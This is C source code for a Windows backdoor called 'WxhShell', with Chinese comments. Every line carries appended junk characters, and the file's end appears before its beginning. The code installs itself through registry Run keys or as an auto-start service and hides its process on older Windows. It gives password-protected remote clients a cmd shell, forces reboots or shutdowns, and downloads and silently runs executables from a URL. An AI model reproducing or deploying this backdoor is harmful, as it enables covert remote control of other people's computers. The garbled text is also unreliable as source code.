    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m>MB7,C;N  
    if(Boot(SHUTDOWN)) Ndi9FD3im  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~Hr}]  
    else { ]hFW 73FV  
    closesocket(wsh); hMykf4  
    ExitThread(0); v#U"pn|M  
    } 7G/1VeVjB  
    break; u[DfzH  
    } N-e @j4WU  
  // 获取shell [< &oF  
  case 's': { Ht&:-F+dm  
    CmdShell(wsh); osX8eX]\  
    closesocket(wsh); RsY3V=u  
    ExitThread(0); 'qOREN  
    break; =5(>q5Z*  
  } $w);5o  
  // 退出 {M^3m5.^  
  case 'x': { RT.D"WvT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -UOj>{-  
    CloseIt(wsh); d~JKH&x<  
    break; jAm3HI   
    } +PcmJ  
  // 离开 c+hQSm|bf)  
  case 'q': { paD!Z0v&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E: $P=%b  
    closesocket(wsh); ,#L=v]  
    WSACleanup(); 6er-{.L=  
    exit(1); &C "L  
    break; Jc|6&  
        } ]]oI#*c  
  } 7aQc=^vaZ  
  } +h r@#n4A  
no9;<]4  
  // 提示信息 8&)DE@W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w-t8C=Z  
} xT+zU}z  
  } ucG@?@JENm  
6 1F(<!  
  return; 93` AWg/T  
} 3v5%y '  
Dk(1}%0U/  
// shell模块句柄 \kU &^Hi  
int CmdShell(SOCKET sock) s#)5h0t#du  
{ <7j87  
STARTUPINFO si; '>' wK.  
ZeroMemory(&si,sizeof(si)); 5sx1Zq7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vM*($qpAy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q@nP}Pv&5  
PROCESS_INFORMATION ProcessInfo; :n.f_v}6  
char cmdline[]="cmd"; j]aoR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w[I E  
  return 0; RIY,K*f.  
} enSXP~9w  
Z(ACc9k6:'  
// 自身启动模式 /7t>TYip!  
int StartFromService(void) ](wvu(y\E  
{ Ns7(j-  
typedef struct Q2F+?w;,  
{ o'f?YZ$.  
  DWORD ExitStatus; -8j+s}Q  
  DWORD PebBaseAddress; ,u`YT%&L  
  DWORD AffinityMask; ,z-}t& _t  
  DWORD BasePriority; K%F,='P}  
  ULONG UniqueProcessId; r0,:J   
  ULONG InheritedFromUniqueProcessId; F pa_qjL;  
}   PROCESS_BASIC_INFORMATION; :F{:Z*Fi0  
N#DYJ-~*  
PROCNTQSIP NtQueryInformationProcess; &' Ne! o8  
9&_<f}ou  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EuyXgK>g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OG~6L4"  
< F`>,Pm  
  HANDLE             hProcess; 3P^sM1  
  PROCESS_BASIC_INFORMATION pbi; 'F$l{iR  
PEuIWXr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =W BTm  
  if(NULL == hInst ) return 0; hR Ue<0o:  
NT+?  #0I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i5K[>5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F=a<~EpZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1M 781  
ZGYr$C~  
  if (!NtQueryInformationProcess) return 0; O2f-5Y$@  
),ma_{$N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >V*mr{/1  
  if(!hProcess) return 0; l33Pm/V2?  
O^^C;U@U<1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q^e}?v%=%3  
Y<Fz)dQo  
  CloseHandle(hProcess); {O`w,dMOI  
h?8]C#6^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aM:nOt" S1  
if(hProcess==NULL) return 0; $l|qk  z  
,~OwLWi-|X  
HMODULE hMod; kT'u1q$3Vo  
char procName[255]; elFtBnL'  
unsigned long cbNeeded; */|9= $54  
I| b2acW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6Qy@UfB  
!=:$lzS^  
  CloseHandle(hProcess); /x[jQM\  
5&q8g;XiEM  
if(strstr(procName,"services")) return 1; // 以服务启动 B3 5E8/  
m/y2WlcRx  
  return 0; // 注册表启动 li 6%)  
} jhg;%+KB  
?)1{)Erf8x  
// 主模块 GP:77)b5  
int StartWxhshell(LPSTR lpCmdLine) R5 9S@MsuD  
{ 30.@g[~  
  SOCKET wsl; .P MZX%*v  
BOOL val=TRUE; J1:1B ,^y  
  int port=0; 1PP $XJtyD  
  struct sockaddr_in door; /S(zff[at  
kT!9`S\  
  if(wscfg.ws_autoins) Install(); 5wh|=**/  
I{*<4a7q  
port=atoi(lpCmdLine); x"{'&J[hx  
2h=!k|6  
if(port<=0) port=wscfg.ws_port; 3 "Q=Vl"  
[>1OJY.S}T  
  WSADATA data; 2U:H545]]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p-/|mL  
Y5FbU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qh2ON>e;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \u>"s   
  door.sin_family = AF_INET; T<w5vqFDu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qASqscO  
  door.sin_port = htons(port); uec!RKE  
x\s|n{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^,;z|f'% *  
closesocket(wsl); Tp_L%F  
return 1; KFvQ  
} j;fpQ_KL  
[zlN !.Z  
  if(listen(wsl,2) == INVALID_SOCKET) { =IW?WIXk  
closesocket(wsl); 3MY(<TGX  
return 1; nx^]>w  
} B{C??g8/  
  Wxhshell(wsl); n>^Y$yy}!  
  WSACleanup(); PV4(hj  
3+G@g#MY  
return 0; 8$ma;U d  
h0g:@ae%&  
} $d)ca9  
l:<?{)N`  
// 以NT服务方式启动 [-;_ZFS{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "gne_Ye.  
{ g)_e]&  
DWORD   status = 0; |*'cF-lp6v  
  DWORD   specificError = 0xfffffff; MF'$~gxo  
RQ'H$r.7g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'F _8j;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X(\fN[;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; weE/TW\e  
  serviceStatus.dwWin32ExitCode     = 0; <Gt2(;  
  serviceStatus.dwServiceSpecificExitCode = 0; mysetv&5  
  serviceStatus.dwCheckPoint       = 0; Rx);7j/5  
  serviceStatus.dwWaitHint       = 0; nZ@&2YPlem  
8&3V#sn'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '&gF>  
  if (hServiceStatusHandle==0) return; E gal4  
`}l JH i  
status = GetLastError(); "E8zh|m o  
  if (status!=NO_ERROR) k-HCeZ  
{ :)_~w4&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l*kPOyB  
    serviceStatus.dwCheckPoint       = 0; Zuw?58RE\  
    serviceStatus.dwWaitHint       = 0; A Q+]|XYo_  
    serviceStatus.dwWin32ExitCode     = status; _-9@qe  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lv'D^'I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &*7?)eI!i  
    return; DV\`Wv  
  } @1 U&UH  
GA?87N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H*Kj3NgY  
  serviceStatus.dwCheckPoint       = 0; e=Z, Jg  
  serviceStatus.dwWaitHint       = 0; Sz^5b!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;z IP,PMM  
} )YX 'N<[  
q*7zx_ o  
// 处理NT服务事件,比如:启动、停止 rSHpS`\ou  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ka6,<C o  
{ |d*&y#kV  
switch(fdwControl) ewfP G,S  
{ PB/IFsJ  
case SERVICE_CONTROL_STOP: 8}FzZ?DRy  
  serviceStatus.dwWin32ExitCode = 0; Bnb#{tL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u)V#S:9]  
  serviceStatus.dwCheckPoint   = 0; q&Gz ]  
  serviceStatus.dwWaitHint     = 0; eOXHQjuj  
  { &p}$J )q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n%k!vJ)]  
  } %c [F;ug  
  return; BwBm[jtP  
case SERVICE_CONTROL_PAUSE: YQpSlCCo 3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SnFk>`  
  break; Yb /i{@AJ  
case SERVICE_CONTROL_CONTINUE: tX@_fYb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F8uNL)gKj)  
  break; kH4Ai3#g  
case SERVICE_CONTROL_INTERROGATE: E/09hD Q  
  break; "bm  
}; r4QxoaM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $zyIuJN#  
} RheRe  
59!Fkd3  
// 标准应用程序主函数 LNa$ X5`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `X`2:@gQ  
{ E[*Fz1>  
>2Jdq  
// 获取操作系统版本 +=mkCU  
OsIsNt=GetOsVer(); Y;e,Gq`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sz)oZPu|  
']>Mp#j  
  // 从命令行安装 E6,4RuCK  
  if(strpbrk(lpCmdLine,"iI")) Install(); x,otFp  
~,BIf+ \XF  
  // 下载执行文件 :sP!p`dl  
if(wscfg.ws_downexe) { 3Ezy %7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :LQ5 u[g$\  
  WinExec(wscfg.ws_filenam,SW_HIDE); h~(D@/tB  
} !O#dV1wAa  
{fEwA8Ir  
if(!OsIsNt) { lr{?"tl_  
// 如果时win9x,隐藏进程并且设置为注册表启动 #Ap;_XcKw  
HideProc(); 5i-Rglo  
StartWxhshell(lpCmdLine); OI?K/rn  
} ph_4q@  
else PIWux {  
  if(StartFromService()) IR-dU<<9O  
  // 以服务方式启动 svuq gSn  
  StartServiceCtrlDispatcher(DispatchTable); "d$m@c  
else VB?O hk]<  
  // 普通方式启动 jU3Z*Z)zN  
  StartWxhshell(lpCmdLine); ~{D[ >j][  
N*`b%XGn3  
return 0; +Ag!?T  
} vi|R(&  
kdCP  
 (:";i&  
x&`~R>5/  
=========================================== h[?O+Z^  
*$"gaXI  
^m /oDB-  
>(<ytnt=  
Hsihytdj  
!j\" w p  
" :gB[O>'<m  
!TP@- X;  
#include <stdio.h> yY&3p1AxW]  
#include <string.h> [b/k3&O'  
#include <windows.h> ?0 m\(#  
#include <winsock2.h> v NeCpf  
#include <winsvc.h> 1$2D O  
#include <urlmon.h> X5]TY]  
`$~Rxz Z g  
#pragma comment (lib, "Ws2_32.lib") Fk6x<^Q<w  
#pragma comment (lib, "urlmon.lib") 8UMF q  
=fYL}m5E  
#define MAX_USER   100 // 最大客户端连接数 PT^c^{V  
#define BUF_SOCK   200 // sock buffer p[@5&_u(z  
#define KEY_BUFF   255 // 输入 buffer < n:}kQTT  
Zo}y(N1K}  
#define REBOOT     0   // 重启 v|ck>_" .  
#define SHUTDOWN   1   // 关机 78Aa|AJU  
UDc$"a}ds{  
#define DEF_PORT   5000 // 监听端口 {\z({Wlb]  
R'dSbn  
#define REG_LEN     16   // 注册表键长度 'r@:Cz3e*I  
#define SVC_LEN     80   // NT服务名长度 qU,c~C=Qf  
8 :o<ry  
// 从dll定义API b:(-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +hRmO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c=[O `/f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oM2UzB{(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); { K _kPgKS  
x%<  
// wxhshell配置信息 =B];?%  
struct WSCFG { K 9kUS  
  int ws_port;         // 监听端口 NB7Y{) w  
  char ws_passstr[REG_LEN]; // 口令 .,i(2^  
  int ws_autoins;       // 安装标记, 1=yes 0=no *1'`"D~  
  char ws_regname[REG_LEN]; // 注册表键名 jV/CQM5a+  
  char ws_svcname[REG_LEN]; // 服务名 >?]_<:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y?)}8T^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jj= ;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WA$>pG5s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `Rd m-[&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CAU0)=M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oR~e#<$;  
97,rE$bC  
}; 20TCG0% x  
bpkwn<7-  
// default Wxhshell configuration -L3|&O_  
struct WSCFG wscfg={DEF_PORT, D-U<u@A4  
    "xuhuanlingzhe", ,=~z6[  
    1, ai'4_  
    "Wxhshell", `$604+G  
    "Wxhshell", j.i#*tN//  
            "WxhShell Service", BT_tOEL#  
    "Wrsky Windows CmdShell Service", : 5U"XY x@  
    "Please Input Your Password: ", ;D.h 65rr  
  1, +"ueq  
  "http://www.wrsky.com/wxhshell.exe", cM&2SRBZ  
  "Wxhshell.exe" Q*YYTmZ  
    }; @f!AkzI  
fRvAKz|rL  
// 消息定义模块 kL90&nP   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #RMI&[M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2`a q**}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SMf+qiM-E  
char *msg_ws_ext="\n\rExit."; F=)&98^v$_  
char *msg_ws_end="\n\rQuit."; j+8TlVur  
char *msg_ws_boot="\n\rReboot..."; :+%Zh@u\  
char *msg_ws_poff="\n\rShutdown..."; +y#T?!jQYj  
char *msg_ws_down="\n\rSave to "; O%f8I'u$  
[,~TaP}m  
char *msg_ws_err="\n\rErr!"; -/D|]qqHm  
char *msg_ws_ok="\n\rOK!"; 46h@j>/K  
`aqrSH5^h  
char ExeFile[MAX_PATH]; MqKye8h9f  
int nUser = 0; {S<>&?XB  
HANDLE handles[MAX_USER]; 8yW oPm<A  
int OsIsNt; %>WbmpIyc  
Vh<A2u3&  
SERVICE_STATUS       serviceStatus; 1P]de'-`j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J.R AmU<  
'(#g1H3  
// 函数声明 S:8OQI  
int Install(void); v8I{XU@%  
int Uninstall(void); gLL\F1|0x  
int DownloadFile(char *sURL, SOCKET wsh); nPkZHIxuD  
int Boot(int flag); &*&?0ov^"  
void HideProc(void); Q0{z).&\(e  
int GetOsVer(void); tJ=di5&  
int Wxhshell(SOCKET wsl); t/Z:)4Z  
void TalkWithClient(void *cs); p8+/\Ee]B  
int CmdShell(SOCKET sock); ~"!a9GZ  
int StartFromService(void); DP7C?}(  
int StartWxhshell(LPSTR lpCmdLine); \;]kYO}  
G_Ay   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o0p T6N)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WA)Ij(M8 p  
ecX/K.8l  
// 数据结构和表定义 !]S=z^"<  
SERVICE_TABLE_ENTRY DispatchTable[] = -qebQv  
{ l SkEuN  
{wscfg.ws_svcname, NTServiceMain}, 3^.8.q(6  
{NULL, NULL} hxC!+ArVe  
}; M0-,M/]l  
QMk+RM8U  
// 自我安装  yu ,h\  
int Install(void) &!y]:CC{  
{ mEQ!-p   
  char svExeFile[MAX_PATH]; {$^SP7qV#>  
  HKEY key; !Zbesp KZ  
  strcpy(svExeFile,ExeFile); >sj bK%  
2 Y|D'^  
// 如果是win9x系统,修改注册表设为自启动 ,vG<*|pn  
if(!OsIsNt) { :+ ,st&(E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d<@Mdo<;?g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T+RZ  
  RegCloseKey(key); 3SARr>HRyI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T 4|jz<iK]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); agd)ag4"[u  
  RegCloseKey(key); Y5-kj,CB  
  return 0; sIm#_+Y  
    } I}v]Zm9  
  } HP a|uDVv  
} 9DEh*%q  
else { .yVnw^gu  
2W3W/> 2 h  
// 如果是NT以上系统,安装为系统服务 dALK0U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4VIg>EL*  
if (schSCManager!=0) b Dg9P^<n  
{ ZM~`Gd9K0E  
  SC_HANDLE schService = CreateService el'j&I  
  ( 98*x 'Wp  
  schSCManager, H_X?dj15  
  wscfg.ws_svcname, #@Ujx_F  
  wscfg.ws_svcdisp, \]Z&P,}w  
  SERVICE_ALL_ACCESS, St>`p-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Isovwd  
  SERVICE_AUTO_START, 8mgQu]>  
  SERVICE_ERROR_NORMAL, n=`w9qajd  
  svExeFile, ^t78jfl  
  NULL, *`KrVu 6s  
  NULL, bV3lE6z  
  NULL, !*P&Eat  
  NULL, 9NWloK6bT  
  NULL WL\^F#:  
  );  q{X T  
  if (schService!=0) n9 fk,3  
  { VjTe4$ *  
  CloseServiceHandle(schService); g8yN% )[  
  CloseServiceHandle(schSCManager); _=6OP8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3C"_$?y"  
  strcat(svExeFile,wscfg.ws_svcname); u3Do~RyL[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7C5pAb:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X&\o{w9%  
  RegCloseKey(key); id?_>9@P  
  return 0; 4uX(_5#j  
    } a{_ KSg  
  } O|UxFnB}  
  CloseServiceHandle(schSCManager); 8U^D(jrz  
} IT1P Pm  
} ck$2Ue2`@w  
l(Cf7o!  
return 1; 797X71>  
} 5.k}{{+  
S+FQa7k  
// 自我卸载 G&o64W;-s  
int Uninstall(void) z{6 YC~  
{ y~p4">]  
  HKEY key; Dq`~XS*  
l#6&WWmr  
if(!OsIsNt) { -SJSTO[/J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l^,qO3ES  
  RegDeleteValue(key,wscfg.ws_regname); a RKv+{K  
  RegCloseKey(key); k ]bPI$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? : md  
  RegDeleteValue(key,wscfg.ws_regname); @xJCn}`Zj  
  RegCloseKey(key); n{=7 yK  
  return 0; 2 `5=0E1k  
  } n4>cERf a  
} h]P/KVqR.  
} S'?fJ.  
else { NQ!<f\m4n  
J"bD\%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jvO3_Zt9  
if (schSCManager!=0) [` 'd#pR  
{ ! IgoL&=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b8HE."*t  
  if (schService!=0) U"B.:C2  
  { Vr\Q`H.  
  if(DeleteService(schService)!=0) { .\)k+ R  
  CloseServiceHandle(schService); 7O461$4v  
  CloseServiceHandle(schSCManager); 4OEKx|:5n  
  return 0; =43d%N  
  } A|C_np^z2  
  CloseServiceHandle(schService); M*H< n*  
  } E&9!1!B  
  CloseServiceHandle(schSCManager); leIy|K>\m  
} 1uC;$Aj6:  
} ^5>du~d  
" <*nZ~nE)  
return 1; 8;8YA1@w  
} {,F/KL^u  
gr\@sx?b  
// 从指定url下载文件 <p)Z/  
int DownloadFile(char *sURL, SOCKET wsh) lO_c/o$  
{ :Q=z=`*2w  
  HRESULT hr; /4H[4m]I  
char seps[]= "/";  6s5b$x  
char *token; ,$BgR2^  
char *file; ;24'f-Eri  
char myURL[MAX_PATH]; T\cR2ZT~  
char myFILE[MAX_PATH]; j Ii[  
vu ?3$  
strcpy(myURL,sURL); QxA0I+i  
  token=strtok(myURL,seps); S"{GlRpd  
  while(token!=NULL) \2Xx%SX  
  { vQy$[D*  
    file=token; !Z-9tYO  
  token=strtok(NULL,seps); u/#&0_ P  
  } Uf^RLdoDn  
Lb^(E-  
GetCurrentDirectory(MAX_PATH,myFILE); jjX%$Hr  
strcat(myFILE, "\\"); ,{pGP#  
strcat(myFILE, file); -+' #*V  
  send(wsh,myFILE,strlen(myFILE),0); } m6\C5  
send(wsh,"...",3,0); 5=m3J !?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T aEt  
  if(hr==S_OK) a(5y>HF  
return 0; EFwL.'Fh  
else W8x[3,gT  
return 1; }<.7xz|V  
lc" qqt  
} [='p!7 z  
aSTFcz"  
// 系统电源模块 m'SmN{(t  
int Boot(int flag) y3IA '  
{ RE*WM3QK~  
  HANDLE hToken; o|+E+l9\  
  TOKEN_PRIVILEGES tkp; )X~#n  
^aT;aP^l  
  if(OsIsNt) { cP, ;Qbe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PlF!cr7:4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ||`qIElAW,  
    tkp.PrivilegeCount = 1; VOg/VGJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | yS5[?.`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }U(\~ =D  
if(flag==REBOOT) { Ou? r {$(b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ogd8!'\  
  return 0; ;C+cE#   
} e/ WBgiLw  
else { V8\$`NEP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m:b^,2"g  
  return 0; 6TY){P w  
} -!i;7[N  
  } ~~ U<  
  else { 2|$lk8/,  
if(flag==REBOOT) { ,zG<7~m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8znj~7}#  
  return 0; z2.*#xTZn  
} J &{qppN  
else { _IC,9bbg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'xQna+%h  
  return 0; @T5YsX]qb7  
} sE-x"c  
} xcw%RUC-  
UBL(Nr  
return 1; IvFR <n  
} //~POm  
9jqO/_7R+  
// win9x进程隐藏模块 (LRNU)vD7$  
void HideProc(void) BSOjyy1f  
{ ]c5DOv&  
y#&$ f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [ k!-;mi   
  if ( hKernel != NULL ) Q^[e/U,  
  { FPvuzBJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wH+FFXGJs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4=~ 9v  
    FreeLibrary(hKernel); W)|c[Q\  
  } t3pZjdLJd  
HE*7\"9  
return; (QhG xuC  
} 1% asx'^  
;gEp!R8  
// 获取操作系统版本 7t ZW^dF  
int GetOsVer(void) | A3U@>6  
{ (W7;}gysh  
  OSVERSIONINFO winfo; i5.?g<.H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eVZa6la"  
  GetVersionEx(&winfo); .4H_Zt[2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o`b$^hv{A  
  return 1; Hde]DK,d  
  else bK!,Pc<  
  return 0; W\&WS"=~  
} }Q!h ov  
tCuN?_ UG  
// 客户端句柄模块 3w t:5 Im  
int Wxhshell(SOCKET wsl) umZlIH[7  
{ P4hZB_.=  
  SOCKET wsh; fL(':W&n-  
  struct sockaddr_in client; Tld1P69(  
  DWORD myID; P{"  WlJ  
0[V&8\S~'T  
  while(nUser<MAX_USER) (m<R0  
{ D/gd  
  int nSize=sizeof(client); kuWK/6l4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IRlN++I!  
  if(wsh==INVALID_SOCKET) return 1; 6e-#XCR{  
FYp|oD2=1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f<g>dQlE  
if(handles[nUser]==0) jK\V|5k  
  closesocket(wsh); "}0)YRz%  
else +R2^* *<  
  nUser++; a];BW)  
  } I~d#p ]>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u(8_[/_B  
Oyi;bb<#  
  return 0; [B}1z  
} t9?R/:B%  
[SCw<<l<  
// 关闭 socket hO^&0?  
void CloseIt(SOCKET wsh) hZp=BM"bJ  
{ 8]sTX9  
closesocket(wsh); 'q{PtYr  
nUser--; >(IITt  
ExitThread(0); /1IvLdPIu  
} 6.7`0v?,n  
vh<]aiY  
// 客户端请求句柄 //#xK D  
void TalkWithClient(void *cs) o}WB(WsG  
{ I(z>)S'7r  
9=Y,["br$_  
  SOCKET wsh=(SOCKET)cs; A Oby*c  
  char pwd[SVC_LEN]; A8 \U CG  
  char cmd[KEY_BUFF]; @`w'   
char chr[1]; B.]qrS|  
int i,j; -s9Y(>  
1 ;cv-W  
  while (nUser < MAX_USER) { r{pI-$  
g2+l@$W  
if(wscfg.ws_passstr) { XD;15a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :*mA,2s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e*Uz# w:  
  //ZeroMemory(pwd,KEY_BUFF); s,1pZT <E  
      i=0; eNI kiJ$uS  
  while(i<SVC_LEN) { BengRG[  
u3Zzu\{  
  // 设置超时 n%83jep9  
  fd_set FdRead; E\{^0vNc  
  struct timeval TimeOut; Vpug"aR&_  
  FD_ZERO(&FdRead); kV*y_5g  
  FD_SET(wsh,&FdRead); s,eld@  
  TimeOut.tv_sec=8; >/7KL2*  
  TimeOut.tv_usec=0; 2uvQf&,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s(1_:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }ZEfT]  
}u(d'9u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PWf{aHsr  
  pwd=chr[0]; 2x)0?N[$O  
  if(chr[0]==0xd || chr[0]==0xa) { ,H.(\p_N  
  pwd=0; >$7wA9YhL  
  break; -D!#W%y8  
  } J>HLQP  
  i++; .yctE:n  
    } ^/`#9]<%  
p{mxk)A  
  // 如果是非法用户,关闭 socket '#cT4_D^lI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uznoyj6g  
} .jU|gf:x  
v YRt2({}Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +zFV~]b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xFsB?d  
kWZ/ej  
while(1) { jOoIF/So  
"| .  +L  
  ZeroMemory(cmd,KEY_BUFF); *=-__|t  
WmT}t  
      // 自动支持客户端 telnet标准   $$2S*qY  
  j=0; pm'@2dT  
  while(j<KEY_BUFF) { QOkE\ro  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z$OF|ZZQ  
  cmd[j]=chr[0]; E3CiZ4=5  
  if(chr[0]==0xa || chr[0]==0xd) { ^}i5 0SG:y  
  cmd[j]=0; xZ9}8*Q&:  
  break; :GwSs'$O  
  } ;kyL>mV{  
  j++; jMz1s%C  
    } \3n{w   
m wRL zN  
  // 下载文件 37:b D  
  if(strstr(cmd,"http://")) { .LXh]I *  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %{N$1ht^  
  if(DownloadFile(cmd,wsh)) ch5`fm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H6%!v1 u  
  else <F#*:Re_y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .oi}SG  
  } AiyvHt  
  else { q G :jnl  
j=xtnIq  
    switch(cmd[0]) { @\%)'WU  
